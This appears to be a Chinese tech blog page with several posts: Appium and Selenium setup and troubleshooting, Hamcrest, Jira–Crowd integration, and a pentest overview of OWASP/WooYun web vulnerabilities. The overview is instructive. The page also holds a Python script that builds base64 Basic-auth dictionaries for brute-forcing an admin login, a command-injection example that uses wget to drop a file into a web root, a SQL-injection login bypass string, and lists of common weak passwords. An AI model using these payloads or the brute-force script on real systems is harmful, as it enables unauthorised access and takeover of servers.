  SDK下载地址:http://developer.android.com/sdk/index.html
  apache-ant-1.9.4-bin.zip ( 非必装) http://ant.apache.org/bindownload.cgi
  apache-maven-3.1.1-bin.zip (非必装) http://maven.apache.org/download.cgi
  ActivePython-2.7.5.6-win32-x86.msi
  三、安装步骤
  1)安装JDK,并进行环境变量配置
  JDK安装很简单,按默认安装即可。
  环境变量配置:
  添加JAVA_HOME变量, 值:Jdk的安装路径,如:D:\Java\jdk1.7.0_45
  添加CLASSPATH变量,值 .;%JAVA_HOME%\lib\tools.jar;%JAVA_HOME%\lib\dt.jar
  修改path变量,加上这句 %JAVA_HOME%\bin;
  检查JAVA环境是否配置好,进入CMD命令行,输入java或javac,可以看到好多的命令提示,说明成功了。
  2)安装Node.js,按默认安装即可,可以改变安装的路径。
  安装完成以后,检查Node版本安装是否成功:进入CMD,输入node -v, 可以看到版本号,说明成功了。
  3)安装ADT,配置环境变量
  下载地址:http://developer.android.com/sdk/index.html?hl=sk
  下载 adt-bundle-windows-x86-20140321.zip,直接解压即可。
  配置环境变量,设置ANDROID_HOME 系统变量为你的 Android SDK 路径,并把tools和platform-tools两个目录加入到系统的 Path路径里。
  变量名:ANDROID_HOME 值: D:\AutoTest\adt\sdk
  设置Path值: %ANDROID_HOME%\tools;%ANDROID_HOME%\platform-tools
  4)联网安装Appium
  进入cmd命令行,输入:
  npm install –g appium 或者
  npm --registry http://registry.cnpmjs.org install -g appium (推荐这种,npm的国内镜像)
  注:-g全局参数
  多等几分钟,可以看到appium的版本1.1.0及安装目录
  5)检查一下appium是否安装成功。
  进入cmd命令行,输入appium
  提示:socket.io started 说明安装好了。
  6)检查appium所需的环境是否OK(这步很重要)
  进入Cmd命令行,输入appium-doctor ,出现以下提示,All Checks were successful ,说明环境成功。
  7)安装Apache Ant (这一步可省)
  安装Apache Ant(http://ant.apache.org/bindownload.cgi)。解压缩文件夹,并把路径加入环境变量。
  变量: ANT_HOME 值: D:\AutoTest\ant-1.9.4
  设置Path: %ANT_HOME%\bin;
  测试Ant是否安装成功,进入cmd命令行:输入ANT,如果没有指定build.xml就会输出:Buildfile: build.xml does notexist! Build failed
  8)安装Apache Maven (这一步可省)
  下载Maven(http://maven.apache.org/download.cgi),并解压缩文件夹,把路径加入环境变量。
  变量M2_HOME 值:D:\AutoTest\maven-3.1.1
  设置Path: %M2_HOME%\bin;
  测试Maven是否成功,运行cmd,输入mvn -version如果成功,则出现maven版本等环境信息。
  安装:python+webdriver环境
  第一步:安装active-python,双击可执行文件,直接默认安装即可。
  第二步:安装selenium webdriver
  1. 打开cmd
  2. 命令为:pip install selenium -i http://pypi.douban.com/simple (使用国内地址)
  3. 打开python的shell或者IDEL界面 ,输入from selenium import webdriver 如果不报错那就说明你已经安装selenium for python成功了。
  4. 安装appium-python-client:(这步很重要,必须)
  进入cmd,输入:pip install Appium-Python-Client
  以上全部安装好以后,最后就是执行实例来测试一下:
  1. 打开Adt,创建一个模拟器,并启动android模拟器。
  2. 在cmd启动appium
  输入:appium
  3. 另开一个cmd终端窗口。切换到实例代码路径下,执行android_contacts.py文件。
English »
 
Text-to-speech function is limited to 100 characters

posted @ 2014-12-11 23:34 顺其自然EVO 阅读(600) | 评论 (0)编辑 收藏

Appium框架中Android下EditText内容清除

在做手机自动化测试过程中 ,难免会对EditText的内容进行修改,通常我们对EditText输入 内容的时候,用的是Send_key()函数。可是这个函数不会先清除原来的内容,只会在光标当前位置上输入函数参数中的数据。如果我们需要修改,必须清除原来的内容,查看了一下clear()参数不好使用,只好去网上搜索了。
  找到了如下方法:
  “首先 clear(), send_keys(), set_text(),在android上不太好用是个已知的bug (在IOS上不清楚,没有测试环境),会在Appium 1.2.3上修复。请参见github的issue:https://github.com/appium/python-client/issues/53
  在这之前我们可以用 press_keycode的方式实现删除,删除速度比忽略 clear()抛出的异常要快很多。
  大概思路是:
  1. 点击要清除的edit field
  2. 全选
  3. 删除
  element.click()
  sleep(1)   #waiting for 1 second is important, otherwise 'select all' doesn't work. However, it perform this from my view
  self.driver.press_keycode(29,28672)   # 29 is the keycode of 'a', 28672 is the keycode of META_CTRL_MASK
  self.driver.press_keycode(112)   # 112 is the keycode of FORWARD_DEL, of course you can also use 67“
  我试了一下上面的方法,没有什么效果,只好继续寻找了。搜了好多网页,在一个网页上看到了一个不错的办法,不过可以打开的网页太多了,一忙忘记是哪儿个网页了。具体的方案就是:
  先将光标移到文本框最后,然后取一下EditText中文本的长度,最后一个一个地删除文本。
  具体示例如下:
  def edittextclear(self,text):
  '''
  请除EditText文本框里的内容
  @param:text 要清除的内容
  '''
  DRIVER.keyevent(123)
  for i in range(0,len(text)):
  DRIVER.keyevent(67)
  使用实例:
  adr=DRIVER.find_element_by_id('com.subject.zhongchou:id/edit_person_detailaddress') #找到要删除文本的EditText元素
  adr.click()#激活该文本框
  context2=adr.get_attribute('text')#获取文本框里的内容
  self.edittextclear(context2)#删除文本框中是内容

posted @ 2014-12-11 23:33 顺其自然EVO 阅读(2349) | 评论 (0)编辑 收藏

JUnit:Hamcrest的使用

hamcrest 是一款比较不错的 JUnit 测试 jar 包,本文介绍 hamcrest 在 Java 语言的使用。
  如果你使用过 eclipse 和 JUnit4 的话,hamcrest 的使用会让你如虎添翼。
  1. 下载hamcrest
  连接 Google,搜索 hamcrest 即可。
  下载列表:http://code.google.com/p/hamcrest/downloads/list
  选择 Full Hamcrest distribution 版本,完整版。如果是在 linux 下面,可以下载tgz格式的。
  win 下面下载 zip 吧。其他系统的可以根据情况下载。
  2. 解压缩
  tar   -zxvf   ×××.tgz
  解压之后,将文件夹放到合适的目录下面。假设路径为 /home/mark/tools/hamcrest-1.2
  3. hamcrest 与 Eclipse
  假设你已经新建一个测试项目叫 TestHamcrest,并且已经导入了 JUnit4 这个包。
  如果没有的话,请参考其他关于 JUnit 的使用的文章
  在 Eclipse 中,对项目 TestHamcrest 右键,选择 Build Path / Add External Archives。
  选择 /home/mark/tools/hamcrest-1.2 下面的 hamcrest-core-1.2.jar、hamcrest-library-1.2.jar 两个 jar 文件。
  项目中可以:
  import static org.hamcrest.Matchers.*;
  那么,就可以直接使用其中的方法。更多关于 hamcrest 的使用,请参阅文档!
  4. 遇到麻烦
  trouble:    SecurityException 异常
  methond:删除 JUnit 包,然后在 Referenced  Library 中再导入 Junit 包。

posted @ 2014-12-11 23:32 顺其自然EVO 阅读(454) | 评论 (0)编辑 收藏

爆破字典生成小脚本(新手学python)

遇到一套系统,后台管理登录无验证码,准备爆破试试,burp抓到的包如下:
GET /admin/ HTTP/1.1
Host: www.nxadmin.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: Wed, 07 May 2014 03:04:54 GMT
If-None-Match: W/"37424//"
Authorization: Basic MTExOjIyMg==
  发现有一串base64编码处理的,解码之后正是提交的 帐号:密码的组合,只好写个小脚本将已有的字典文件进行处理了,贴上代码:
#coding:utf-8
import sys
import base64
if len(sys.argv)<3:
print "Usage:"+" admincrack.py "+"userlist "+"passlist"
sys.exit()
def admincrack(userfile,passfile):
uf=open(userfile,'r')
pf=open(passfile,'r')
for user in uf.readlines():
#指定指针的位置,不指定只会遍历userfile中的第一行
pf.seek(0)
for passwd in pf.readlines():
user=user.strip("\r\n")
passwd=passwd.strip("\r\n")
hashvul=user+':'+passwd
base64hash=base64.b64encode(hashvul)
print user,passwd,base64hash
if __name__=="__main__":
admincrack(sys.argv[1],sys.argv[2])
  生成之后先将base64hash打印出来,就会构成intruder用到的字典,再将user,passwd,base64hash一起打印出来,构成后期爆破成功需要查询对应帐号和密码明文的字典。

posted @ 2014-12-11 23:31 顺其自然EVO 阅读(355) | 评论 (0)编辑 收藏

Webdriver定位不到元素的解决办法

 不知道怎么回事,先前能跑动的case,现在元素始终找不到。
  但是我xpath是能定位得到的,debug了一下,结果发现在
  WebElementelement = locator.findElement();就卡住了。
  弄了好久也没有成功。
  网上找例子:
  Selenium2(WebDriver)_如何判断WebElement元素对象是否存在
  1.selenium中如果去寻找元素,而元素不存在的话,通常会抛出NoSuchElementException 导致测试失败,但有时候,我们需要去确保页面元素不存在,才是我们正确的验收条件下面的方法可以用来判定页面元素是否存在
    1 public boolean doesWebElementExist(WebDriver driver, By selector)
    2{
    3
    4         try
    5         {
    6                driver.findElement(selector);
    7                returntrue;
    8        }
    9        catch(NoSuchElementException e)
    10         {
    11                 return false;
    12         }
    13 }
  2.一般有这样的应用场合,例如我们要验证在一个网站是否登录成功,那么可以通过判断登录之后是否显示相应元素:
  WebElementlinkUsername =driver.findElement(By.xpath("//a[contains(text(),"+username+")]"));
  return linkUsername.isDisplayed();
  这一方法的前提是:该元素之前已经存在,仅仅需要判断是否被显示。
  现在存在另一种场合,页面元素并不存在,即通过driver.findElement只能在超时之后得到NoSuchElementException的异常。
  因此只好通过如下方法解决:
1 boolean ElementExist (ByLocator )
2{
3 try
4 {
5 driver.findElement( Locator );
6 returntrue;
7}
8 catch(org.openqa.selenium.NoSuchElementException ex)
9{
10     returnfalse;
11 }
12 }
  但这一方法仍然不理想,有这样两个问题:
  1、这一方法不属于任何一个page页,因此需要额外进行框架上的变更以支持这些功能函数,否则就必须在每一个用到该函数的page类写一遍。
  2、仍然需要等到超时才能得知结果,当需要频繁使用该函数的时候会造成相当的时间浪费。
  3.
  类似于seleniumRC中的isTextPresent方法
  用xpath匹配所有元素(//*[contains(.,'keyword')]),判断是否存在包含期望关键字的元素。
  使用时可以根据需要调整参数和返回值。
1 public boolean isContentAppeared(WebDriver driver,String content) {
2       booleanstatus = false;
3       try {
4          driver.findElement(By.xpath("//*[contains(.,'" + content +"')]"));
5           System.out.println(content + "is appeard!");
6           status = true;
7       } catch (NoSuchElementException e) {
8           status = false;
9           System.out.println("'" +content + "' doesn't exist!"));
10      }
11      return status;
12 }
  4. Xpath 多重判断
  1 while(currentPageLinkNumber<MaxPage)
  2 {
  3 WebElement PageLink;
  4 PageLink = driver.findElement(By.xpath("//a[@class = 'PageLink' and@title ='"+Integer.toString(currentPageLinkNumber+1)+"']"));
  5 PageLink.click();
  6 currentPageLinkNumber++;
  7 //OtherOperation();
  8 }
  然后又看了一篇文章
  selenium webdriver定位不到元素的五种原因及解决办法
  1.动态id定位不到元素
  for example:
  //WebElement xiexin_element = driver.findElement(By.id("_mail_component_82_82"));
  WebElement xiexin_element = driver.findElement(By.xpath("//span[contains(.,'写  信')]"));
  xiexin_element.click();
  上面一段代码注释掉的部分为通过id定位element的,但是此id“_mail_component_82_82”后面的数字会随着你每次登陆而变化,此时就无法通过id准确定位到element。
  所以推荐使用xpath的相对路径方法查找到该元素。

 2.iframe原因定位不到元素
  由于需要定位的元素在某一个frame里边,所以有时通过单独的id/name/xpath还是定位不到此元素
  比如以下一段xml源文件:
<iframe id="left_frame" scrolling="auto" frameborder="0" src="index.php?m=Index&a=Menu" name="left_frame" noresize="noresize" style="height: 100%;visibility: inherit; width: 100%;z-index: 1">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<body class="menuBg">
<div id="menu_node_type_0">
<table width="193" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<tr>
<td id="c_1">
<table class="menuSub" cellspacing="0" cellpadding="0" border="0" align="center">
<tbody>
<tr class="sub_menu">
<td>
<a href="index.php?m=Coupon&a=SearchCouponInfo" target="right_frame">密码重置</a>
</td>
</tr>
  原本可以通过
  WebElement element = driver.findElement(By.linkText("密码重置"));
  来定位此元素,但是由于该元素在iframe id="left_frame"这个frame里边  所以需要先通过定位frame然后再定位frame里边的某一个元素的方法定位此元素
  WebElement element =driver.switchTo().frame("left_frame").findElement(By.linkText("密码重置"));
  3.不在同一个frame里边查找元素
  大家可能会遇到页面左边一栏属于left_frame,右侧属于right_frame的情况,此时如果当前处在
  left_frame,就无法通过id定位到right_frame的元素。此时需要通过以下语句切换到默认的content
  driver.switchTo().defaultContent();
  例如当前所在的frame为left_frame
  WebElement xiaoshoumingxi_element = driver.switchTo().frame("left_frame").findElement(By.linkText("销售明细"));
  xiaoshoumingxi_element.click();
  需要切换到right_frame
  driver.switchTo().defaultContent();
  Select quanzhong_select2 = new Select(driver.switchTo().frame("right_frame").findElement(By.id("coupon_type_str")));
  quanzhong_select2.selectByVisibleText("售后0小时");
  4.  xpath描述错误
  这个是因为在描述路径的时候没有按照xpath的规则来写 造成找不到元素的情况出现
  5.点击速度过快  页面没有加载出来就需要点击页面上的元素
  这个需要增加一定等待时间,显示等待时间可以通过WebDriverWait 和util来实现
  例如:
  //用WebDriverWait和until实现显示等待 等待欢迎页的图片出现再进行其他操作
  WebDriverWait wait = (new WebDriverWait(driver,10));
  wait.until(new ExpectedCondition<Boolean>(){
  public Boolean apply(WebDriver d){
  boolean loadcomplete = d.switchTo().frame("right_frame").findElement(By.xpath("//center/div[@class='welco']/img")).isDisplayed();
  return loadcomplete;
  }
  });
  也可以自己预估时间通过Thread.sleep(5000);//等待5秒 这个是强制线程休息
  6.firefox安全性强,不允许跨域调用出现报错
  错误描述:uncaught exception: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMNSHTMLDocument.execCommand]" nsresult: "0x80004005 (NS_ERROR_FAILURE)" location:
  解决办法:
  这是因为firefox安全性强,不允许跨域调用。
  Firefox 要取消XMLHttpRequest的跨域限制的话,第一
  是从 about:config 里设置 signed.applets.codebase_principal_support = true; (地址栏输入about:config 即可进行firefox设置)
  第二就是在open的代码函数前加入类似如下的代码: try { netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); } catch (e) { alert("Permission UniversalBrowserRead denied."); }
  最后看了乙醇的文章
import java.io.File;
importorg.openqa.selenium.By;
importorg.openqa.selenium.WebDriver;
importorg.openqa.selenium.chrome.ChromeDriver;
importorg.openqa.selenium.support.ui.ExpectedCondition;
importorg.openqa.selenium.support.ui.WebDriverWait;
public classButtonDropdown {
public static voidmain(String[] args) throws InterruptedException {
WebDriver dr = newChromeDriver();
File file = newFile("src/button_dropdown.html");
String filePath = "file:///" + file.getAbsolutePath();
System.out.printf("nowaccesss %s \n", filePath);
dr.get(filePath);
Thread.sleep(1000);
//      定位text是watir-webdriver的下拉菜单
//      首先显示下拉菜单
dr.findElement(By.linkText("Info")).click();
(newWebDriverWait(dr, 10)).until(new ExpectedCondition<Boolean>(){
public Booleanapply(WebDriver d){
returnd.findElement(By.className("dropdown-menu")).isDisplayed();
}
});
//      通过ul再层级定位
dr.findElement(By.className("dropdown-menu")).findElement(By.linkText("watir-webdriver")).click();
Thread.sleep(1000);
System.out.println("browser will be close");
dr.quit();
}
}
  然后我自己定位的。
public XiaoyuanactivityPage zipaixiuye(){
driver.navigate().refresh();
luntan.click();
WebDriverWrapper.waitPageLoad(driver,3);
(new WebDriverWait(driver, 10)).until(newExpectedCondition<Boolean>() {
public Boolean apply(WebDriverdriver){
returndriver.findElement(By.className("TFB_sub_li")).isDisplayed();
}
});
driver.findElement(By.className("TFB_sub_li")).findElement(By.linkText("自拍秀")).click();
returnPageFactory.initElements(this.getDriver(),
XiaoyuanactivityPage.class);
}
  总算成功了,成功来得真不容易啊!
  我现在还是不明白我之前的方法为什么开始可以,后面就不行了。
  但是我现在也不去探究了,我自己的问题已经解决了。
  谢谢分享文章的朋友。

posted @ 2014-12-11 23:30 顺其自然EVO 阅读(16305) | 评论 (0)编辑 收藏

Jira5.0.2与Crowd2.4.2应用集成

 前提是,你已经安装了jira与crowd(由于ldap部分其实就是crowd与ldap的集成,所以不在复述《Jira与crowd通信设置》) 请先看完《Crowd2.4.2安装破解》,《Jira5.0安装及破解》两篇文章
  新版本jira、crowd集成与以往有些不一样,首先就是配置文件的修改没有以前多了,然后就是在jira内需要设置一个应用目录,记得这个简单的地方也许就不好找。这篇文章你就多看点吧。的确写的很不好,不过如果你以前对jira有大致的了解,那看我很不好的文采文章,就能相对简单了。
  1.    创建Directories,一般把Name改写,直接默认就可以了
  2.    添加组、用户等信息,应该就不用说了,如果不清楚,可以查看《Jira与crowd通信设置》  http://kinggoo.com/app-jira-crowd-confluence-ldap.htm 或者看下面的简单步骤。
  记得,如果是jira与crowd集成那还需要在jira内设置开外部密码、外部用户管理,以及API(当然这是以前的做法了)
  1)    一些配置的修改:
  cp  /usr/local/crowd/client/crowd-integration-client-2.4.2.jar/usr/local/jira/atlassian-jira/WEB-INF/lib/cp  /usr/local/crowd/client/conf/crowd.properties /usr/local/jira/atlassian-jira/WEB-INF/classes/cp  /usr/local/crowd/client/conf/crowd-ehcache.xml /usr/local/jira/atlassian-jira/WEB-INF/classes/
  1.    修改配置文件crowd.properties
  [root@kinggoo conf]# vim ~/guanli/jira/atlassian-jira/WEB-INF/classes/crowd.propertiesapplication.name kinggoo-jira #在crowd中建立应用名称(小写)application.password arij #在crowd中建立这个应用时的密码application.login.url http://localhost:8095/crowd/console/crowd.server.url http://localhost:8095/crowd/services/ session.isauthenticated session.isauthenticated session.tokenkey session.tokenkey session.validationinterval 0 session.lastvalidation session.lastvalidation
  2.    查看配置文件propertyset.xml
  看此文件内是否有添加下面内容,如无,则添加
  <propertysetname="crowd"class="com.atlassian.crowd.integration.osuser.CrowdPropertySet"/>
  3.    修改配置文件seraph-config.xml
  <!-- CROWD:START - If enabling Crowd SSO integration uncomment the following JIRAAuthenticator and comment out the DefaultAuthenticator below -->去掉此处注释<authenticatorclass="com.atlassian.crowd.integration.seraph.v22.JIRAAuthenticator"/><!-- CROWD:END -->< -------------------下面是添加注释的 --------------><!-- CROWD:START - The authenticator below here will need to be commented out for Crowd SSO integration -->< !—在此处添加此处注释<authenticatorclass="com.atlassian.jira.security.login.JiraOsUserAuthenticator"/>--><!-- CROWD:END -->

  好如果都配置完毕,那就请重启jira服务吧!启动好后如果后台日志没问题
  Jira内创建目录:
  a)    使用安装jira时创建的帐号登陆jira,接着点击页面右上角的Administrators,这时会让你再次输入密码;
  b)    在页面USER标签里找到User Directories  并点击进入;
  c)    再次点击Add Directories 空件,如图第一、第二个图是点击后样式。
  d)    我现在选择,Crowd的下拉菜单。当然,如果你直接就做的ldap的那你可以选择;
  e)    不多说,看图,同事间隔是亮点
  f)    配置好后,保存,这时你在看你的用户,是不是已经从crowd内同步过来了
  随便拿个帐号实验一下,在crowd内添加修改等!

posted @ 2014-12-11 23:29 顺其自然EVO 阅读(194) | 评论 (0)编辑 收藏

关于测试的只言片语

  对于测试人员来说,对软件能否实现预期的功能是测试的重点。除了功能测试之外,根据用户或者客户的需求,在有的产品或者项目中,可能还会有性能测试安全测试等。尽管有很多不同的测试内容,但总结出来可以归纳为两种类型:
  一种是可以依据具体指标验证的测试,例如功能测试,某个功能有没有实现,功能是否正确实现,我们都可以有一个明确的依据进行参考确认,再比如性能测试,在指定的环境、指定的条件,系统是否达到了指定的性能指标,都有量化的数据可以验证。这种可以依据具体指标验证的功能,无论是对于开发人员去实现,或者是对于测试人员进行验证,都是可以做到具体化,便于开发,也便于测试。
  还有一种测试类型,就是不便于通过量化的指标进行测试。如颜色、样式、按钮的大小和位置。比如颜色的设置,客户对某个界面的颜色要求是红色的,开发人员根据自己的理解可能设计为深红色,而测试人员在测试的时候根据自己的经验觉得浅红色更适合。这样测试和开发在对颜色的认识和理解上不一致,就可能都没法说服对方,没法达成一致的共识,增加沟通的时间,降低项目的研发效率。
  以上关于功能和界面方面的测试都只是我们测试中一小部分的内容,还有其它方面的内容只是可能我们还没有接触到。玩过微信摇一摇的朋友都知道,我们在进入摇一摇界面摇动手机的时候,会收到到一个来福枪的声音。我想,在最初开发摇一摇功能的时候,肯定也不是来福枪的音效,肯定也是在很多种声音中经过筛选并通过使用验证后才最终确定下来的。那么,对于类似这样的音效,是否需要测试呢?如果需要测试,作为测试人员,又该拿什么标准来测试吗?仍然以微信摇一摇功能为例,摇一摇的界面很简单,没有文字说明告诉用户这个功能的作用是什么,也没提醒用户怎么去使用,但是,作为一个初次打开该功能的用户,看到摇一摇的图片都会下意识的去摇动一下。而这样的设计的初衷,都是力求简单。假设我们也在微信项目组,在微信刚开始研发的阶段,其中关于摇一摇功能的要求,有一项要求是界面简单,易于学习和操作。而这个需求肯定是没法进行量化的,不同的人有不同的理解,那作为测试人员,怎么去对这个需求进行测试是一个需要考虑的问题。
  之前有看过一篇报道,是关于深圳一座摩天大楼被发现使用了海沙(搅拌和混凝土所用的沙,是来自海边且未经过处理的海沙,而非一般常用的河沙,海沙盐分含量高,容易对钢筋产生腐蚀,进而影响到建筑物的使用寿命),后来是被相关部门勒令整改,并对当时使用海沙的部分做了技术处理。后来的处理结果怎么样,没去关注,关注的是摩天大楼作为一个硬件工程,建设过程中如果有了缺陷,怎么去修复,对于这样影响到工程质量的缺陷,又该怎么样去预防。摩天大楼不像软件产品,出现了缺陷对有问题的代码做重新编写就能够解决问题,考虑到时间成本和费用成本,对摩天大楼推到重建的可能性很小,除非有很重大的问题。
  摩天大楼等硬件工程的建设和软件产品的研发,虽然过程都不一样,但都有一个共通的东西,那就是质量的保证。怎么样将硬件产品的质量控制方法借鉴到软件工程的质量控制,是一个值得学习的过程。平时注意观察的话,可以发现生活中有很多场景需要测试工作的介入,或者用到测试思维。

posted @ 2014-12-11 23:27 顺其自然EVO 阅读(179) | 评论 (0)编辑 收藏

渗透测试必知必会—Web漏洞

0x00前言
  本文为对WEB漏洞研究系列的开篇,日后会针对这些漏洞一一研究,敬请期待
  0x01 目录
  0x00 前言
  0x01 目录
  0x02 OWASP TOP10 简单介绍
  0x03 乌云TOP 10 简单介绍
  0x04 非主流的WEB漏洞
  0x02 OWASP TOP10 简单介绍
  除了OWASP的TOP10,Web安全漏洞还有很多很多,在做测试和加固系统时也不能老盯着TOP10,实际上是TOP10中的那少数几个
  直接说2013的:
  A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常见,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于现在自动化工具非常多,通常都是找到注入点后直接交给以sqlmap为代表的工具
  命令注入相对来说出现得较少,形式可以是:
  https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
  也可以查看案例:极路由云插件安装shell命令注入漏洞 ,未对用户输入做任何校验,因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行
  直接搜索LDAP注入案例,简单尝试下并没有找到,关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例,但是重要的LDAP信息 泄露还是挺多的,截至目前,乌云上搜关键词LDAP有81条记录。
  PHP对象注入:偶然看到有PHP对象注入这种漏洞,OWASP上对其的解释为:依赖于上下文的应用层漏洞,可以让攻击者实施多种恶意攻击,如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为:1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击,或开始一个"POP chain";2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明,或者自动加载的对象必须被这些类支持。PHP对象注入的案例及文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。
  在查找资料时,看到了PHP 依赖注入,原本以为是和安全相关的,结果发现:依赖注入是对于要求更易维护,更易测试,更加模块化的代码的解决方案。果然不同的视角,对同一个词的理解相差挺多的。
  A2: 失效的身份认证及会话管理,乍看身份认证觉得是和输入密码有关的,实际上还有会话id泄露等情况,注意力集中在口令安全上:
  案例1:空口令
  乌云:国内cisco系列交换机空密码登入大集合
  乌云:UC某服务器可空口令访问数据库
  案例2:弱口令
  乌云:盛大某站后台存在简单弱口令可登录  admin/admin
  乌云:电信某省客服系统弱口令泄漏各种信息 .../123456
  乌云:中国建筑股份有限公司OA系统tomcat弱口令导致沦陷  tomcat/tomcat
  案例3:万能密码
  乌云:移动号码上户系统存在过滤不严  admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)
  弱口令案例实在不一而足
  在乌云一些弱口令如下:其中出镜次数最高的是:admin/admin, admin/123456

 如果要继续深究下去或者取得更多数据进行分析的话,结局就会如猪猪侠总结的那样:
  当然会话存在的安全问题也是需要考虑的,可以是令牌、token被窃取,尤其当会话没有设置生命周期时很容易出现会话/身份被劫持
  会话管理问题可以是用户A登陆了某个地址,但是没有注销(奇葩情况是注销无效),直接退出了浏览器又没有清除cookie,如果说这时候有B借用A的电脑,他直接以A的身份登陆该地址是没有问题的,这不是服务端的问题。但假设之后A都没有访问改地址,而是把电脑合上待机了,第二天如果B借用他的电脑直接登陆了该地址,则责任在于服务端的会话管理不当,没有设置超时时间。除此之外,还有会话重放、会话信息泄露等问题。说到会话信息泄露,不禁想起将sessionid放在URL中的情形,鄙人暂未遇到直接利用这个可以窃取会话的,但不排除其可能
  A3: 跨站脚本(XSS),最普遍的漏洞,曾被认为是鸡肋漏洞,事实证明有时候危害很大的,窃取cookie,构造蠕虫不一而足。XSS的技术体现在Javascript功底上,现在很多网站都有针对XSS的过滤器,J2EE可以使用全局过滤器,但是过滤器基本都是使用黑名单设防,是有可能绕过的,回应了技术体现在Javascript功底上。跨站脚本还有flash类型的,由于相比之下出现得比较少,浏览器和过滤器的防御精力不在这上面,如果出现可能更容易成功。值得一提的是,对于XSS,现在的扫描工具都会将其标识为高危漏洞,实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性,误报率会比较高。还有就是常规扫描器只能识别反射型XSS,反射型XSS本身危害是比较小的,存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的,因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS,则要看具体业务和数据是否会受影响,用户交互程度越高,利用难度就越大,如果能弹框证实漏洞存在,但很难被触发或者就算窃取到cookie也无法登陆,很难说明是高风险安全问题,但还是有修复和改进的必要。
  A4: 不安全的直接对象引用,访问控制不当的问题,常见为越权操作(横向+纵向),譬如:遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作,最激动人心的是可以进行刷钱等操作。越权问题并不高深,相比SQL注入和XSS技术难度还要低一点,因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单,当用户需要访问某资源或进行操作时,服务器端取出来访用户的session值,判断是否具有访问或操作权限。
  在访问控制操作中,我们可以设定某一资源或文件A可以访问、B不能访问,但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限,作为一个会话属性,属于自己的才可以操作或访问,具体情况具体讨论。
  案例1:水平越权
  乌云:虎扑某功能存在水平越权
  案例2: 垂直越权
  乌云:中国电信某系统管理员WEB界面越权访问
  A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=>运维不当,直接看运维不当的
  知乎专栏:运维安全(...)
  乌云知识库:从乌云看运维安全那点事儿
  引用一下知识库的内容,问题有:
  struts漏洞
  Web服务器未及时打补丁,有解析漏洞
  PHP-CGI RCE
  FCK编辑器
  server-status信息泄露
  网站备份文件放在web目录,可被下载
  列目录导致可看到敏感数据并查看
  snmp信息泄露
  weblogic弱口令
  SVN信息泄露
  域传送漏洞
  Rsync
  hadoop对外
  nagios信息泄露
  ftp弱口令或支持匿名访问导致信息泄露
  RTX泄露信息
  Ganglia信息泄露
  j2ee应用架构开始占主流,典型的web服务器搭配配置失误
  Jenkins平台没有设置登录验证
  zabbix
  zenoss监控系统
  Resin文件读取
  memcache未限制访问IP
  JBoss问题
  测试服务器外网可访问
  padding oracle attack
  用户名密码放在服务器上……
  A8: 跨站请求伪造(CSRF)
  CSRF曾被称为沉睡的巨人,以前拿来举例时都是说Alice给Bob转钱,结果morry插了一脚,钱就跑到morry家去了。危害可大可小,直接通过URL增删改操作的也还有,更多的还是基于表单。如果是XSS+CSRF =>蠕虫 就比较可观了,也曾看到过直接get root的案例
案例:万达电影主站 xss + csrf
  A10: 无效的重定向
  控制重定向可以钓鱼,可以获取敏感文件的信息,在struts2中也有开放重定向的命令执行
  0x03 乌云TOP 10 简单介绍
  上述就是OWASP TOP10的WEB漏洞,乌云出了一个更加符合中国国情的 乌云:Top10 for 2014,看着也是触目惊心
  A1-互联网泄密事件/撞库攻击
  本质上来说是使用了不安全的口令,也许我可以将自己的密码设置的很复杂,别人破解不出来。但对于撞库攻击而言,可以说是不怕神一样的对手,就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码,而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了,强密码+不同的密码,当然密码多了也难以记住,不行就借助软件或者普通账号用同一个密码,重要账号用不同密码吧
  A2-引用不安全的第三方应用
  举的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也还数见不鲜,其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的
  A3-系统错误/逻辑缺陷带来的暴力猜解
  暴力破解:没对请求和错误次数做限制;重放攻击同样是没做检验或限制
  A4-敏感信息/配置信息泄露
  包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方
  A5-应用错误配置/默认配置
  包括但不限于默认路径、默认口令、目录穿越、任意文件下载等
  A6-SQL注入漏洞
  A7-XSS跨站脚本攻击/CSRF
  A8-未授权访问/权限绕过
  可匿名访问\判断referer值后免登陆
  A9-账户体系控制不严/越权操作
  A10-内部重要资料/文档外泄
  还是信息泄露,但是做了区分,不同于应用或服务器的信息泄露,专指内部信息泄露哟
  0x04 非主流的WEB漏洞
